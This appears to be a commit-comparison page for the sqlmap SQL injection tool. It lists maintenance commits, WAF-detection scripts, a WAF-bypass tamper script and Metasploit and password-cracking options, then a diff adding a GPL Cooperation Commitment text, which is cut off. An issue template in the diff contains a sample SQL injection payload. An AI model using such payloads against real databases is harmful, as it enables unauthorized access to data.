Compare commits

..
294 Commits
Author SHA1 Message Date
Miroslav Stampar cdd4007f11 Fixes #3502 2019-03-02 01:28:58 +01:00
Miroslav Stampar c89c1e7abf Fallback for --randomize in case of empty value 2019-02-28 02:29:13 +01:00
Miroslav Stampar 9ba4da8820 Implements #3500 2019-02-28 02:23:14 +01:00
Miroslav Stampar 58acc4a0bc Fixes #3503 2019-02-28 01:05:23 +01:00
Miroslav Stampar 034bac2a11 Fixes #3498 2019-02-26 01:36:56 +01:00
Miroslav Stampar 581e4103c0 Minor patch 2019-02-25 17:19:42 +01:00
Miroslav Stampar eb862d03eb Fixes #3496 2019-02-25 17:18:38 +01:00
Miroslav Stampar 1248fe5eee Bug fix (CFM tends to HTML encode non-alphanumeric chars in error reports - paths weren't recognized) 2019-02-21 02:50:11 +01:00
Miroslav Stampar daeb281e91 Minor update 2019-02-21 02:05:00 +01:00
Miroslav Stampar 514ab3cc30 Trivial update 2019-02-21 01:37:58 +01:00
Miroslav Stampar dc95558187 Fixes #373 2019-02-21 01:10:43 +01:00
Miroslav Stampar af890d639d Implementing switch --repair (Issue #2888) 2019-02-19 00:21:37 +01:00
Miroslav Stampar 8fe37f3564 Update for #3486 2019-02-15 17:08:55 +01:00
Miroslav Stampar 9789d65c19 Fixes #3487 2019-02-15 16:54:43 +01:00
Miroslav Stampar dfe6fe6060 Fixes #3489 2019-02-12 10:49:47 +01:00
Miroslav Stampar ba883b77df Better exception messages (including types) 2019-02-12 10:42:32 +01:00
Miroslav Stampar 27265f56ba Update for #3488 (found samples with Server: wts) 2019-02-11 15:58:25 +01:00
Miroslav Stampar ced9657d95 Patch for #3488 2019-02-11 10:53:04 +01:00
Infected Drake 47edf134a2 Create new detection script for WTS Firewall. (#3488) 2019-02-11 10:51:27 +01:00
Miroslav Stampar 8d46f67898 Fixes #3483 2019-02-09 23:27:55 +01:00
Miroslav Stampar 4d87b0ff67 Fixes #3467 and #3463 2019-02-09 23:18:08 +01:00
Miroslav Stampar 6f750f9529 Patch for --os-pwn on newer versions of Metasploit 2019-02-09 16:15:09 +01:00
Miroslav Stampar 9562502744 Potential patch for #3470 2019-02-09 15:49:52 +01:00
Miroslav Stampar b42c081c0e Fixes #3475 2019-02-09 15:11:06 +01:00
Miroslav Stampar 441a40e6e1 Couple of patches for #3479 2019-02-09 14:49:20 +01:00
Dhiraj Mishra 489390c3f8 ibm_webseal.py (#3479) 2019-02-09 14:44:04 +01:00
Miroslav Stampar 5b382adc15 Trivial PEP update 2019-02-07 17:34:51 +01:00
Miroslav Stampar ab32ad4f48 Fixes #3471 2019-02-07 17:33:16 +01:00
Miroslav Stampar 0a42d91934 Patch related to the last commit 2019-02-07 16:49:58 +01:00
Miroslav Stampar 5eb9f5729c Couple of patches related to the #3473 2019-02-07 16:45:16 +01:00
Miroslav Stampar 5b0d25ff25 Fixes #3469 2019-02-06 07:35:05 +01:00
Miroslav Stampar 4b00924826 Couple of updates regarding readline capabilities 2019-02-05 16:58:18 +01:00
Miroslav Stampar f9ee0f4c0a Trivial update 2019-02-05 14:02:52 +01:00
Miroslav Stampar 5077844dd9 Fixes #3468 2019-02-05 13:42:44 +01:00
Miroslav Stampar 6fe827f0a4 Fixes #3465 2019-02-04 16:05:16 +01:00
Miroslav Stampar 683b587fa5 Minor update 2019-02-04 15:54:57 +01:00
Miroslav Stampar bd74a201d5 Update regarding #3466 2019-02-04 15:49:13 +01:00
Miroslav Stampar 82aa481e06 Patch for IPv6 addresses (proper Host header) 2019-01-30 01:30:30 +01:00
Miroslav Stampar 1f375e418a Fixing unhandled exception message and removing sticky level logic 2019-01-30 00:45:38 +01:00
Miroslav Stampar ed26dc0235 Important patch for #3459 2019-01-29 23:44:58 +01:00
Miroslav Stampar e8f505b701 First memory leak patched (related to the #3459) 2019-01-29 17:40:06 +01:00
Miroslav Stampar dddff45adb Patch for --update progress 2019-01-29 14:59:31 +01:00
Miroslav Stampar b3777995b2 Minor patch for progress dots 2019-01-29 14:55:38 +01:00
Miroslav Stampar a52328bfba Adding new WAF script (Bekchy) 2019-01-29 14:29:58 +01:00
Miroslav Stampar a303d6712e Patch related to the #3455 2019-01-29 12:30:51 +01:00
Miroslav Stampar e01a7908aa Trivial renaming update 2019-01-26 12:36:03 +01:00
Miroslav Stampar 4b5457903a Minor update 2019-01-24 11:36:48 +01:00
Richard Fontana 78da395506 Add GPL Cooperation Commitment (#3445) 2019-01-24 11:07:13 +01:00
Miroslav Stampar 44a8242d2f Dummy commit to force md5-resum 2019-01-23 21:07:51 +01:00
neargle 66e2fc302c Add MySQL sys Schema in MYSQL_SYSTEM_DBS (#3443) 2019-01-23 20:58:53 +01:00
Miroslav Stampar bdc4457f34 Old exception handling format to new one 2019-01-22 14:09:13 +01:00
Miroslav Stampar ba356baab0 Minor stability patch for multi-threading console output (#3284) 2019-01-22 13:45:16 +01:00
Miroslav Stampar ae6235ce20 Fixes #3440 2019-01-22 13:06:13 +01:00
Miroslav Stampar ef8530af5b Fixing mess with template payloads and URI/JSON/XML/custom cases 2019-01-22 11:08:57 +01:00
Miroslav Stampar 3d88dc0a51 Fixes #3439 2019-01-22 10:12:17 +01:00
Miroslav Stampar a31ac0376d Minor refactoring related to last couple of commits 2019-01-22 03:14:23 +01:00
Miroslav Stampar 8f13bda035 Some more preparing for 2to3 (keys() is iter in 3) 2019-01-22 03:00:44 +01:00
Miroslav Stampar 1adc66b763 Dealing with deprecated next() 2019-01-22 02:47:06 +01:00
Miroslav Stampar 2c270ed250 One more 2to3 baby step 2019-01-22 02:29:52 +01:00
Miroslav Stampar 7074365f8e More refactoring like the last couple of commits 2019-01-22 02:08:02 +01:00
Miroslav Stampar fd705c3dff Baby steps 2019-01-22 01:28:24 +01:00
Miroslav Stampar db3bed3f44 Update related to the last commit 2019-01-22 01:20:27 +01:00
Miroslav Stampar 7672b9a0a2 Baby steps (2 to 3 at a time) 2019-01-22 00:40:48 +01:00
Miroslav Stampar 17b79cd21b Minor cleanup 2019-01-20 16:49:14 +01:00
Miroslav Stampar 36b69bbe79 More cleaning up 2019-01-20 15:34:30 +01:00
Miroslav Stampar daa915a6f2 Removing unusable WAF script 2019-01-20 15:26:57 +01:00
Miroslav Stampar 01dba5c505 Removing obsolete WAF 2019-01-20 15:13:43 +01:00
Miroslav Stampar b5db4dc15a Trivial update (comment) 2019-01-18 14:31:37 +01:00
Miroslav Stampar 915d2bdec0 Minor patch related to the 3438 2019-01-17 15:12:31 +01:00
Miroslav Stampar 7eb45b9d8f Patch related to the #3438 2019-01-17 15:06:00 +01:00
Miroslav Stampar 669afdd81b Adding new waf script 2019-01-16 14:38:50 +01:00
Miroslav Stampar 21ce71bee8 Removing junk 2019-01-16 10:32:56 +01:00
Miroslav Stampar 40f067aa17 Adding new WAF scripts (merging from identYwaf - same author) 2019-01-15 00:41:00 +01:00
Miroslav Stampar 6cdb90ddf8 Same sentence in Cloudflare (too) 2019-01-14 11:35:54 +01:00
Miroslav Stampar c0d4db3aba URI injection patch (on request by @bojanisc) 2019-01-13 12:07:46 +01:00
Miroslav Stampar d086b2aca0 Minor update of WAF scripts 2019-01-12 17:47:43 +01:00
Miroslav Stampar 7cf4b0e1d2 Too generic (removing) 2019-01-12 02:38:54 +01:00
Miroslav Stampar 660036c38b New WAF script 2019-01-12 01:56:18 +01:00
Miroslav Stampar 0a3144ebb5 New WAF script (Squarespace) 2019-01-12 00:15:13 +01:00
Miroslav Stampar 02d66db7e0 New WAF script (SiteGuard) 2019-01-11 23:00:28 +01:00
Miroslav Stampar c94bddd924 Adding new WAF script 2019-01-11 22:33:08 +01:00
Miroslav Stampar aea3749015 Dealing with FP for expressionengine.py 2019-01-11 12:35:35 +01:00
Miroslav Stampar 204c1950fc Fixes #3433 2019-01-10 16:43:06 +01:00
Miroslav Stampar 17be4d6374 Minor update 2019-01-10 16:05:46 +01:00
Miroslav Stampar d7ba7150ce Removing junk 2019-01-10 15:56:49 +01:00
Miroslav Stampar d31d2eeb27 Minor updates and removal of faulty denyall.py WAF script (junk - FP) 2019-01-10 15:35:52 +01:00
Miroslav Stampar c74c58c47e Varnish Cache is not a proof of Varnish WAF usage 2019-01-10 14:27:19 +01:00
Miroslav Stampar d16252e959 Removing junk 2019-01-10 14:19:20 +01:00
Miroslav Stampar 9fef4336b0 Minor update of safe3 WAF script 2019-01-10 14:19:03 +01:00
Miroslav Stampar aa7af33fd5 Update of airlock WAF script 2019-01-10 13:40:51 +01:00
Miroslav Stampar 241c6b02f0 Update of distil WAF script 2019-01-10 13:23:34 +01:00
Miroslav Stampar 915ee5ce53 Trivial file renaming 2019-01-10 13:06:35 +01:00
Miroslav Stampar beee81697c Removing some junk 2019-01-10 11:31:09 +01:00
Nicolas Bonnet 880545cad4 Fix incompatible errMsg for tor and osPwn args (#3432) 2019-01-10 11:28:10 +01:00
Miroslav Stampar 5274c88c7d Minor patch of --identify-waf mechanism 2019-01-09 16:26:11 +01:00
Miroslav Stampar 9a221470e7 Minor patch 2019-01-09 15:44:11 +01:00
Miroslav Stampar 256ec75580 Trivial update of banner 2019-01-09 15:12:16 +01:00
Miroslav Stampar debb64167a Minor update of WAF scripts 2019-01-08 15:36:28 +01:00
Miroslav Stampar 49514adcd9 Minor patch 2019-01-08 12:58:27 +01:00
Miroslav Stampar 02b78d2691 Update of WAF scripts 2019-01-08 12:41:05 +01:00
Miroslav Stampar 82e3c48c8c Removing junk 2019-01-08 11:17:42 +01:00
Miroslav Stampar 243b564b6a Minor updates to WAF scripts 2019-01-07 17:22:16 +01:00
Miroslav Stampar cb72223452 Minor patch 2019-01-07 16:23:18 +01:00
Miroslav Stampar bf207a7ea6 Minor improvement 2019-01-07 16:06:33 +01:00
Miroslav Stampar 3b4e44a38d Better results with following the redirect in identifyWaf phase 2019-01-07 16:05:59 +01:00
Miroslav Stampar 97cf5b9ace New WAF script 2019-01-07 15:52:22 +01:00
Miroslav Stampar ba617c49a4 Minor patch 2019-01-07 15:35:54 +01:00
Miroslav Stampar 929df9bc34 Minor update of WAF scripts 2019-01-07 15:29:35 +01:00
Miroslav Stampar 48cdc6a308 Wrong naming fix 2019-01-07 14:44:31 +01:00
Miroslav Stampar 3b7ef42b30 Goodbye junk 2019-01-07 14:23:20 +01:00
Miroslav Stampar bdddc5c333 Some more junk removal 2019-01-07 14:21:09 +01:00
Miroslav Stampar 8ceff3dcc7 Cleaning junk and updating asm.py WAF script 2019-01-07 14:13:29 +01:00
Miroslav Stampar fcfbc5d59f Removing junk 2019-01-07 13:56:37 +01:00
Miroslav Stampar 12883cac16 Minor update 2019-01-07 13:45:01 +01:00
Miroslav Stampar 9f75fd4fb8 New WAF scripts 2019-01-07 02:58:47 +01:00
Miroslav Stampar 54d0678cbe Adding new WAF scripts 2019-01-07 01:21:07 +01:00
Miroslav Stampar 30497acd0c Minor update of ExpressionEngine WAF script 2019-01-06 03:48:56 +01:00
Miroslav Stampar ed0420e635 Update of WAF script for Cloudfront 2019-01-06 03:22:15 +01:00
Miroslav Stampar 094ce29709 Removing useless netscaler WAF script (passive appliance) 2019-01-06 03:11:31 +01:00
Miroslav Stampar ddd8712c4f Trivial cleanup 2019-01-06 02:30:05 +01:00
Miroslav Stampar 37449262df Fixes #3425 2019-01-06 02:29:09 +01:00
Miroslav Stampar 45c699e9cf Minor patch 2019-01-06 00:37:30 +01:00
Miroslav Stampar e22fab1945 Minor update of PyPI info 2019-01-06 00:29:31 +01:00
Miroslav Stampar e3134cc965 Final preparation for 1.3 2019-01-05 23:14:28 +01:00
Miroslav Stampar 5957aad738 Update of checksums 2019-01-05 22:58:28 +01:00
Miroslav Stampar 4c4de54ad8 Prepare for 1.3 2019-01-05 21:48:39 +01:00
Miroslav Stampar 590e8ed5ae update_copyright_year() 2019-01-05 21:38:52 +01:00
Miroslav Stampar 12427ff6f8 Minor update 2019-01-05 21:29:59 +01:00
Miroslav Stampar 45d0010323 Most probably solves #3422 2018-12-31 01:20:43 +01:00
Miroslav Stampar e18b41fc82 Fixes #3421 2018-12-31 01:03:40 +01:00
Miroslav Stampar 586c461ae6 Minor patch 2018-12-31 01:01:19 +01:00
Miroslav Stampar c799e794f2 Minor update of modsecurity.py 2018-12-29 20:40:49 +01:00
Miroslav Stampar b31c264a59 Minor update 2018-12-28 20:49:40 +01:00
Miroslav Stampar a569f21ad7 Bug fix (--smoke hasn't tested wrapped functions) 2018-12-28 18:25:56 +01:00
Miroslav Stampar 8092551fa9 Minor refactoring 2018-12-28 18:22:44 +01:00
Miroslav Stampar 83972d405f Trivial text update 2018-12-28 17:54:58 +01:00
Miroslav Stampar de0df99d8e Update regarding #3418 (fallback for MsSQL's --passwords) 2018-12-28 00:41:48 +01:00
Miroslav Stampar ddee027afb Minor message update 2018-12-26 23:23:49 +01:00
Miroslav Stampar 6ce0350abc Fixes #3420 2018-12-26 22:12:13 +01:00
Miroslav Stampar 37de01e993 Fixes #3417 2018-12-23 10:18:27 +01:00
Miroslav Stampar 63cca82288 Fixes #3415 2018-12-23 09:58:04 +01:00
Denis 7d1c2633c9 Add contributed Ukrainian translation (#3414) 2018-12-23 09:24:53 +01:00
Miroslav Stampar 9564c8e8b1 Refactoring regarding casting warnings 2018-12-21 11:29:57 +01:00
Miroslav Stampar 5e099144d3 Minor message update 2018-12-21 10:38:27 +01:00
Miroslav Stampar a007cd30e5 Fixes #3412 2018-12-19 11:11:56 +01:00
Miroslav Stampar 4c9e0b9f1e Adding Bluedon WAF script 2018-12-18 00:35:08 +01:00
Miroslav Stampar 0c3fbc46df Adding Approach WAF script 2018-12-18 00:08:56 +01:00
Miroslav Stampar 107d9f90ad Minor message update 2018-12-17 23:41:04 +01:00
Miroslav Stampar daafe9b74a Bug fix (OR boolean based blind caused trouble to UNION with negative logic) 2018-12-17 23:25:23 +01:00
Miroslav Stampar 9727f0d691 Minor patch (--parse-errors with lots of HTML inside) 2018-12-17 22:49:09 +01:00
Miroslav Stampar 61e0459ec8 Minor update 2018-12-17 17:48:22 +01:00
Miroslav Stampar c5802a5367 Minor update related to the last commit 2018-12-17 17:43:11 +01:00
Miroslav Stampar 01d5da18e3 Adding experimental option --crack 2018-12-17 17:38:47 +01:00
Miroslav Stampar b288bfdbc3 Minor update 2018-12-17 17:03:51 +01:00
Miroslav Stampar 1e508547d8 Trivial console output update 2018-12-17 16:08:14 +01:00
Miroslav Stampar 4fe4c582c1 Minor output adjustments 2018-12-17 15:15:54 +01:00
Miroslav Stampar 28e7c8f378 Refactoring KeyboardInterrupt mess 2018-12-17 15:00:57 +01:00
Miroslav Stampar c497aa98ed Minor TCP optimization 2018-12-17 14:19:59 +01:00
Miroslav Stampar 4ba9e9397c One more update of DBMS error messages 2018-12-16 16:24:01 +01:00
Miroslav Stampar eedfa8c888 Another update of DBMS error messages 2018-12-16 16:00:04 +01:00
Miroslav Stampar c224ea0e37 Update of DBMS error messages 2018-12-16 15:20:46 +01:00
Miroslav Stampar f544554475 Bug fix (--forms with --url without protocol) 2018-12-16 02:56:31 +01:00
Miroslav Stampar c7c7e30130 Potential patch for #3374 2018-12-14 10:45:42 +01:00
Miroslav Stampar d1426a023f Fixes #3408 2018-12-14 10:09:40 +01:00
nil0x42 83a1b9b2e7 errors.xml: detect mysqli_*() errors. (#3407)
MySQL injection error message often happen with
mysqli_*() functions nowadays.
POC: https://duckduckgo.com/?q=%22warning..mysqli
2018-12-14 10:08:52 +01:00
Miroslav Stampar 38684ec220 Fixes #3403 2018-12-11 13:28:51 +01:00
Miroslav Stampar 2e5edce8b9 Fixes #3399 2018-12-10 15:22:53 +01:00
Miroslav Stampar a02662f03f Trivial cleanup 2018-12-10 14:53:53 +01:00
Miroslav Stampar 2c95b65eac Implementation for #2552 (sorry @mg98) 2018-12-10 14:53:11 +01:00
Miroslav Stampar e47c1aa61b Resolving some more hooking problems 2018-12-10 13:21:36 +01:00
Miroslav Stampar f81062d595 Resolving some more hooking problems 2018-12-10 13:20:34 +01:00
Miroslav Stampar ef911b6be4 Dummy commit (just to test hooks) 2018-12-10 13:10:01 +01:00
Miroslav Stampar 4f1b0787ed Commit hooks were disabled 2018-12-10 13:04:53 +01:00
Miroslav Stampar 070e173067 Another patch for #3389 (Fixes #3397) 2018-12-10 12:59:13 +01:00
Miroslav Stampar f04584bb68 Update of error message regexes 2018-12-07 11:22:53 +01:00
Miroslav Stampar 66d26f67bf Manual tagging (automatic tagging failed for some reason) 2018-12-07 10:06:31 +01:00
Miroslav Stampar 101d1f0d49 Fixes #3395 2018-12-03 23:18:52 +01:00
Miroslav Stampar 843126702d Fixes #3392 2018-12-03 23:12:45 +01:00
Miroslav Stampar 65f227fe65 Bug fix (privately reported: --technique=E --where='id=1') 2018-12-03 23:07:13 +01:00
Miroslav Stampar 536d9a597e Minor language update 2018-12-03 22:59:46 +01:00
Miroslav Stampar 0ce2128a9b Fixes #3394 2018-12-03 22:40:44 +01:00
Miroslav Stampar e7ed2bbcbb Fixes #3391) 2018-11-30 11:29:17 +01:00
Miroslav Stampar 560ff4154b Fixes #3388 (and refactors #1578) 2018-11-29 00:09:05 +01:00
Miroslav Stampar 1d0d5f1675 Fixes #3389 2018-11-28 23:09:13 +01:00
Miroslav Stampar f1a3c81aec Bug fix for handling of custom headers 2018-11-28 00:29:17 +01:00
Miroslav Stampar 277a4fa402 Potential patch for #3167 2018-11-26 23:40:47 +01:00
Miroslav Stampar 037db0f4a0 Fixes #3381 2018-11-23 15:55:05 +01:00
Miroslav Stampar 3f1bf742fc Fixes #3379 2018-11-22 08:07:27 +01:00
Miroslav Stampar abb911d741 Just for the sake of #3377 2018-11-19 09:53:09 +01:00
Miroslav Stampar dc5edf1a86 Patch regarding #3377 2018-11-19 09:52:09 +01:00
Miroslav Stampar e11febdcbc Fixes #3375 2018-11-19 09:44:13 +01:00
Miroslav Stampar f2af8861f9 Some more updates regarding #3140 2018-11-15 17:13:13 +01:00
Miroslav Stampar 2895e5c20f Initial commit for #3140 2018-11-15 15:27:17 +01:00
Miroslav Stampar b1e8c75672 Update README.md 2018-11-14 12:59:40 +01:00
Miroslav Stampar 6cc52cc12a Fixes #3366 2018-11-12 14:07:41 +01:00
Miroslav Stampar ddf353b86e Fixes #3357 2018-11-04 14:36:38 +01:00
Miroslav Stampar e6535d359d Update related to the #3358 2018-11-04 14:17:53 +01:00
Miroslav Stampar 90e381a5a5 Another update related to the #3356 2018-11-02 16:18:08 +01:00
Miroslav Stampar e99e9919cd Update related to the #3356 2018-11-02 15:44:44 +01:00
Miroslav Stampar dbdfbcc425 Adding dates to the start/end time 2018-11-01 22:59:20 +01:00
Miroslav Stampar 1d6832a84a Cosmetic update (not patch) related to the #3354 2018-11-01 22:41:33 +01:00
Miroslav Stampar 73d83280fe Minor patch (bounded injection case with leftover marker) 2018-11-01 22:24:36 +01:00
Miroslav Stampar 1bd8c519c3 Minor just in case update 2018-10-30 15:41:39 +01:00
Miroslav Stampar a4fdbf1343 Patch related to the #3348 2018-10-30 11:13:09 +01:00
Miroslav Stampar 130879fbf3 Minor patches 2018-10-30 10:37:39 +01:00
Miroslav Stampar db5ae9ae0b Minor update to #3326 (adding generic code >= 400) 2018-10-29 09:55:14 +01:00
Syed Afzal cc4833429f added china cache (#3326) 2018-10-29 09:51:18 +01:00
Miroslav Stampar 703b7079a4 Fixes #3319 2018-10-27 14:30:28 +02:00
Miroslav Stampar ef52ee977f Minor patch 2018-10-27 14:14:21 +02:00
Miroslav Stampar ba1b4c50be Trivial cleanup 2018-10-26 23:40:08 +02:00
Miroslav Stampar 1e7dfe11b4 Fixes #3318 2018-10-26 23:38:37 +02:00
Miroslav Stampar 92febd22a8 Minor update 2018-10-26 23:01:19 +02:00
Miroslav Stampar 83081b5e14 Minor patch related to the #3316 2018-10-26 14:00:51 +02:00
Miroslav Stampar f2035145fe Another update related to the #3316 2018-10-26 12:10:22 +02:00
Miroslav Stampar 48b407c0fa Updates regarding the #3316 2018-10-26 12:09:21 +02:00
Jennifer Torres 4466504f30 Lua-Nginx WAFs Bypass (#3316)
* Lua-Nginx WAFs Bypass

Lua-Nginx WAFs doesn't support processing for more than 100 parameters.
https://www.youtube.com/watch?v=JUvro7cqidY

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

Update header.

* Update luanginxwafbypass.py
2018-10-26 12:04:37 +02:00
Miroslav Stampar dc65afe65a Minor update related to the #3283 2018-10-24 16:33:23 +02:00
Miroslav Stampar 132e963b53 More general TypeMismatchException (for Hibernate too) 2018-10-24 15:12:13 +02:00
Miroslav Stampar f52beff7c3 Minor patch to handle late ImportError reports 2018-10-22 11:21:30 +02:00
Miroslav Stampar feb93dce44 Update related to the #3304 2018-10-17 12:24:52 +02:00
Miroslav Stampar e52422900e Fixes #3303 2018-10-16 19:37:27 +02:00
Miroslav Stampar c045afd842 Minor cleanup 2018-10-16 14:53:41 +02:00
Miroslav Stampar 0d2db32539 Finalizing #3283 2018-10-16 14:47:09 +02:00
Miroslav Stampar 77f4fd93e7 Minor leftover 2018-10-16 13:27:31 +02:00
Miroslav Stampar 68f5597b4a Some cleaning up for #3283 2018-10-16 13:26:55 +02:00
Miroslav Stampar 411f56e710 Initial implementation for #3283 2018-10-16 12:23:07 +02:00
Miroslav Stampar fb95ab8c17 Initial commit for #3283 (fixing H2 misidentification with PgSQL and/or HSQLDB) 2018-10-16 08:02:38 +02:00
Miroslav Stampar 9f6e04b141 Minor update of help text 2018-10-15 02:15:05 +02:00
Miroslav Stampar 1f2bdf5a3d Trivial message update 2018-10-15 00:56:23 +02:00
Miroslav Stampar 465a1e1a86 Minor update 2018-10-15 00:53:26 +02:00
Miroslav Stampar 6af127cb64 Fixes #3286 2018-10-14 22:17:10 +02:00
Miroslav Stampar 880d438418 Fixes #3284 2018-10-12 00:29:43 +02:00
Miroslav Stampar 5efe3228f8 Patch related to the #3282 2018-10-12 00:16:42 +02:00
Miroslav Stampar e005ba3f77 Minor patch 2018-10-11 23:59:09 +02:00
Miroslav Stampar f2b4dc3ffc Fixes #3275 2018-10-08 23:34:55 +02:00
Miroslav Stampar d1022f3f59 Fixes #3246 2018-10-04 13:51:41 +02:00
Miroslav Stampar 3984b94297 Fixes #3271 2018-10-04 13:42:13 +02:00
Miroslav Stampar eba01ee74e Just in case patch (for --api) 2018-10-03 12:46:40 +02:00
Miroslav Stampar 36b660309b Minor patch 2018-10-03 12:28:55 +02:00
Miroslav Stampar fd89fdf40b Minor cleaning up 2018-10-03 11:27:51 +02:00
Miroslav Stampar 2e53096962 Fixes #3268 2018-10-03 11:02:13 +02:00
Miroslav Stampar 79e45bd8d7 Minor update 2018-10-02 15:10:31 +02:00
Miroslav Stampar ed5f4abebd Minor updates 2018-10-02 14:56:20 +02:00
Miroslav Stampar 03bbfdbc56 Can't work out of the box (too many unknowns) 2018-10-02 14:11:26 +02:00
Miroslav Stampar 1b6365b195 Minor cleanup 2018-10-02 14:07:14 +02:00
Miroslav Stampar d38a0542d8 Minor update 2018-10-02 13:48:39 +02:00
Miroslav Stampar 9182b90b2b Removing an obsolete utility 2018-10-02 12:58:25 +02:00
Miroslav Stampar 80af22435a Update README.md 2018-10-02 12:21:29 +02:00
Miroslav Stampar 065c5e8157 Fixes #3264 2018-09-29 23:10:03 +02:00
Miroslav Stampar 932aa8dd94 Fixes #3262 2018-09-28 13:12:21 +02:00
Miroslav Stampar 71208e891c Update regarding #3258 2018-09-27 09:15:53 +02:00
Miroslav Stampar 3b369920a1 Minor patch related to the #3257 2018-09-26 15:33:34 +02:00
Miroslav Stampar 68a83098ab Update of THANKS (based on 2017 donation) 2018-09-25 14:06:32 +02:00
Miroslav Stampar f4a0820dcb Merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) 2018-09-24 14:00:58 +02:00
Miroslav Stampar 459e1dd9a4 Update related to the #3252 2018-09-24 10:26:27 +02:00
Miroslav Stampar 4b698748f7 Fixes #3247 2018-09-21 23:25:25 +02:00
Miroslav Stampar e697354765 Fixing non-resumal of MsSQL/Sybase/MaxDB enumeration queries 2018-09-21 23:06:45 +02:00
Miroslav Stampar 721046831b Minor patch 2018-09-21 22:15:29 +02:00
Miroslav Stampar a4068f9abf Minor update 2018-09-20 16:52:02 +02:00
Miroslav Stampar 245c5e64e9 Minor cleanup 2018-09-19 11:13:59 +02:00
Miroslav Stampar cd08d13647 Adding a generic parameter replace payload 2018-09-19 11:05:55 +02:00
Miroslav Stampar 8abae02111 Improvement of anti-CSRF token extraction 2018-09-18 22:05:52 +02:00
Miroslav Stampar dd9bfd13f2 Trivial update 2018-09-18 17:03:27 +02:00
Miroslav Stampar 0c7eecee9f Trivial update (message language) 2018-09-18 16:52:17 +02:00
Miroslav Stampar 3e72da66f9 Minor update (preventing WAF specific response reports on generic 403) 2018-09-18 16:45:08 +02:00
Miroslav Stampar ca9a56c0ff Minor update of WebKnight WAF script 2018-09-15 23:27:24 +02:00
Miroslav Stampar 2d2b20344d Minor patch for bigip WAF script 2018-09-15 23:17:32 +02:00
Miroslav Stampar a8a7dee800 Fixes #3239 2018-09-15 21:36:21 +02:00
Miroslav Stampar 35d9ed8476 Cleaning a mess with stacked queries and pre-WHERE boundaries 2018-09-14 10:30:58 +02:00
Miroslav Stampar a5e3dce26f Proper naming 2018-09-14 10:01:31 +02:00
Miroslav Stampar 71448b1c16 Minor refactoring 2018-09-14 09:45:04 +02:00
Miroslav Stampar a633bc7f32 Trivial cleanup 2018-09-13 11:41:19 +02:00
Miroslav Stampar 6697e49f75 Adding aesecure and crawlprotect WAF scripts 2018-09-13 11:09:32 +02:00
xxbing db8bcd1d2e update xforwarder tamper (#3236) 2018-09-13 10:50:58 +02:00
Miroslav Stampar 16c052ef13 Fixes #3234 (user entered input) 2018-09-12 14:39:07 +02:00
Miroslav Stampar a8c0722631 Minor update regarding #3230 2018-09-10 12:43:59 +02:00
Miroslav Stampar c9a73aeed1 Minor patch for #3226 2018-09-10 11:51:00 +02:00
Miroslav Stampar 470b68a83c Implementation for Issue #3226 2018-09-10 11:47:19 +02:00
Miroslav Stampar f01ae291f8 Update related to the #3231 2018-09-10 10:27:28 +02:00
Ehsan Nezami c36749c3bb add u_pass to columns (#3231) 2018-09-10 10:26:28 +02:00
Miroslav Stampar 63b84c31e5 Update regarding the #3229 2018-09-08 23:36:08 +02:00
Miroslav Stampar ec253dd5bd Support for table name retrieval from mysql.innodb_table_stats (fallback if primary fails) 2018-09-07 11:53:43 +02:00
Miroslav Stampar 4c25a20efc Docstring update and smalldict update (merge with top1575) 2018-09-07 11:23:47 +02:00
Miroslav Stampar 2b56bdfaa6 Patch for MsSQL column name injection 2018-09-06 13:59:07 +02:00
Miroslav Stampar c37014b8e8 Implementation for an Issue #647 2018-09-06 00:59:29 +02:00
Miroslav Stampar 349e9b9fa5 Minor commit related to the #120 2018-09-06 00:16:59 +02:00
Miroslav Stampar ac481492c0 Final commit for #120 2018-09-05 23:29:52 +02:00
Miroslav Stampar 91c5151770 Another update related to the #120 2018-09-05 00:56:39 +02:00
Miroslav Stampar ad5a731999 First commit for Issue #120 2018-09-05 00:16:35 +02:00
Miroslav Stampar 95be19a692 Minor update 2018-09-05 00:15:15 +02:00
Miroslav Stampar dbcf030743 Accepting even dummy (e.g.) 'y' for --answers 2018-09-04 23:30:58 +02:00
Miroslav Stampar fa3f3baf1e Minor update 2018-09-04 23:24:40 +02:00
Miroslav Stampar f125f64a80 Minor style update (marker for empty cracked password) 2018-09-04 23:14:25 +02:00
Miroslav Stampar 12012b36b1 Automatic disabling of socket-preconnect for known problematic server (SimpleHTTPServer) 2018-09-04 23:01:17 +02:00
420 changed files with 4913 additions and 2728 deletions
+1 -1
View File
@@ -19,7 +19,7 @@
* Client OS (e.g. `Microsoft Windows 10`) * Client OS (e.g. `Microsoft Windows 10`)
* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation): * Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation):
* Target DBMS (e.g. `Microsoft SQL Server`): * Target DBMS (e.g. `Microsoft SQL Server`):
* Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`): * Detected WAF/IPS protection (e.g. `ModSecurity` or `unknown`):
* SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`): * SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`):
* Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works): * Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works):
* Relevant console output (if any): * Relevant console output (if any):
+46
View File
@@ -0,0 +1,46 @@
GPL Cooperation Commitment
Version 1.0
Before filing or continuing to prosecute any legal proceeding or claim
(other than a Defensive Action) arising from termination of a Covered
License, we commit to extend to the person or entity ('you') accused
of violating the Covered License the following provisions regarding
cure and reinstatement, taken from GPL version 3. As used here, the
term 'this License' refers to the specific Covered License being
enforced.
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly
and finally terminates your license, and (b) permanently, if the
copyright holder fails to notify you of the violation by some
reasonable means prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you
have received notice of violation of this License (for any work)
from that copyright holder, and you cure the violation prior to 30
days after your receipt of the notice.
We intend this Commitment to be irrevocable, and binding and
enforceable against us and assignees of or successors to our
copyrights.
Definitions
'Covered License' means the GNU General Public License, version 2
(GPLv2), the GNU Lesser General Public License, version 2.1
(LGPLv2.1), or the GNU Library General Public License, version 2
(LGPLv2), all as published by the Free Software Foundation.
'Defensive Action' means a legal proceeding or claim that We bring
